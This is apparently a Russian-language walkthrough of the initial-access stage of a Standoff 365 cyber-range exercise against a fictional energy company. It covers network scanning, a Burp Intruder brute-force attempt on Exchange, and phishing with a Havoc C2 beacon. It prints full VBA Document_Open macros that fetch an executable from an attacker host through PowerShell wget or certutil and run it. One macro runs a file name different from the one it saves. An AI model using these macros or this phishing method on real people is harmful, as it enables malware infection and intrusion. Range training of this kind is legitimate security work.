HighTechEnergy STANDOFF 365. Часть 1 - InitialAccess
Ку, киберпанки! Начинаю разбор инфры HightTechEnergy STANDOFF 365 . HighTechEnergy — одна из крупнейших компаний Государства F. Занимается передачей и распределением электроэнергии, выполняет функции оператора ГЭС, СЭС и ТЭС. Главная цель организации — качественное и надежное снабжение потребителей электричеством, поэтому вопросы безопасности для нее особенно важны.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несет ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
В качестве C2 буду использовать:
Хороший обзор на C2 SLIVER можно найти на канале Хабра AP Security
Разведка и сбор информации
Первым шагом является изучение скоупа на открытые порты, службы итд. Так же сбор информации на информационных ресурсах(имею ввиду почтовые ящики).
Дан скоуп - 10.124.1.128/26
и буду проводить два вида сканирования:
- Через
nmap
- для получения информации о хостах и открытых портах - Через
nxc
- для получения информации о Windows тачках, если торчат наружу
Как бы логично, что вряд ли будут виндовые тачки торчать на ружу, но попробовать стоило:
nxc smb 10.124.1.128/26
nmap -sC -sV -A 10.124.1.128/26 -oN high_tech_nmap.log
Такой вид скана плохой, потому что очень сильно шумит, но для соревнований пойдет:
Первый хост 10.124.1.139
- это копроративная почта MS Exchange:
порт 80
- HTTP и подразумевается, что это вебсервис
порт 443
- HTTPS, в которой видно, что это Exchange и в /etc/hosts
можно добавить хост и в будущем пробовать атаку ClusterBomb для получения доступа на Exchange. Если получим доступ к почте, то так же получим доступ к тачке в домене.
ClusterBomb - эта атака перебирает разные наборы полезных данных для каждой определенной позиции. Полезные нагрузки размещаются из каждого набора по очереди, чтобы протестировались все комбинации полезных нагрузок.
Второй хост 10.124.1.166
:
порт 80
- HTTP и это веб-сервис и работает на nginx 1.22.1
порт 22
- SSH
Третий хост 10.124.1.176
содержит порты:
порт 22
- SSH
порт 53
- это порт DNS
Четвертый хост 10.124.1.189
, который содержит только веб-сервис на порту 443
- HTPPS
Теперь про сбор информации. Довольно ценным источником данных при подготовке к пентесту компании являются социальные сети, на страницах которых можно найти довольно большой объём информации о сотрудниках и оргструктуре.
На хосте 10.124.1.166
можно найти почты сотрудников:
s_boyle@hte.stf o_lara@hte.stf j_miles@hte.stf
На данные почтовые ящики можно отправить фишинговое письмо и попробовать авторизоваться на MS Exchage.
Cluster Bomb
Данную атаку можно производить с помощью BurpSuite и с помощью опен сорса ruler. Я буду юзать первый вариант, потому что он удобнее и быстрее отрабатывает.
Ввел значения в фому авторизации login:password
:
Ловлю запрос и перехожу в Intruder:
В Intruder захватываю поля login
и password
- это то, что будем перебирать:
Во второй passlist
, который был дан:
Запускаю атаку и результата, к сожалению, нет:
Но это не беда, на самом деле. Этих челиков можно зафишить.
Фишинг
Для фишинга на STANDOFF 365 у нас есть почтовый клиент Roundcube:
Теперь необходимо сделать маяк на Havoc и создать вредоносный макрос.
В Havoc выбираю Listeners
и создаю порт для прослушивания соединения:
В Hosts
указываю IP-адрес сервера C2, порт тоже желательно сменить с 443 на любой другой:
В итоге видим, что листенер упешно завелся:
Всё оставляю по дефолту и жмякаю Generate
:
После успешной генерации бекона, будет вот такое окно:
Теперь его необходимо перенести на свою VPS, где развернут C2 сервер и открыть в директории, где он расположен, python HTTP-сервер:
python3 -m http.server 4879
Далее создаем макрос. Макрос будет выглядить так:
Sub Document_Open() Dim strProgramName As String Dim strArgument As String strProgramName = "powershell.exe" strArgument = "wget http://IP:PORT/agent.exe -O C:\Windows\Tasks\a.exe ; C:\Windows\Tasks\a.exe" Call Shell("""" & strProgramName & """ """ & strArgument & """", vbNormalFocus) End Sub
В кратце, он скачивает бекон и сохраняет в директорию C:\Windows\Tasks
и запускает. Однако, может быть такая ситуация, что на компе не будет wget
, тогда можно использовать системную утилиту certutil.exe
:
Sub Document_Open() Dim strProgramName As String Dim strArgument As String strProgramName = "powershell.exe" strArgument = "certutil.exe -urlcache -f http://IP:PORT/40564.exe C:\Windows\Tasks\bad.exe ; C:\Windows\Tasks\a.exe" Call Shell("""" & strProgramName & """ """ & strArgument & """", vbNormalFocus) End Sub
Посмореть как этот метод отрабатывает можно здесь.
Когда зашёл в Word нужно нажать комбинацию Alt+F11
для получения доступа к редактирования макрсов:
Нажимаем на ThisDocument
и попадём в окно редактирования макросов:
Сохраняем его в формате doc 97-2003:
После сохранения закрываем и опять открываем документ и разрешаем запуск:
Таким образом, макрос будет запускаться при открытии:
Далее необходимо отправить письмо жертвам:
Как можно увидеть, данный комп является локальным админом:
На этом всё. В следующей части будет сбор информации о пользователе и сети, повышение привилегий, закреп и туннелирование.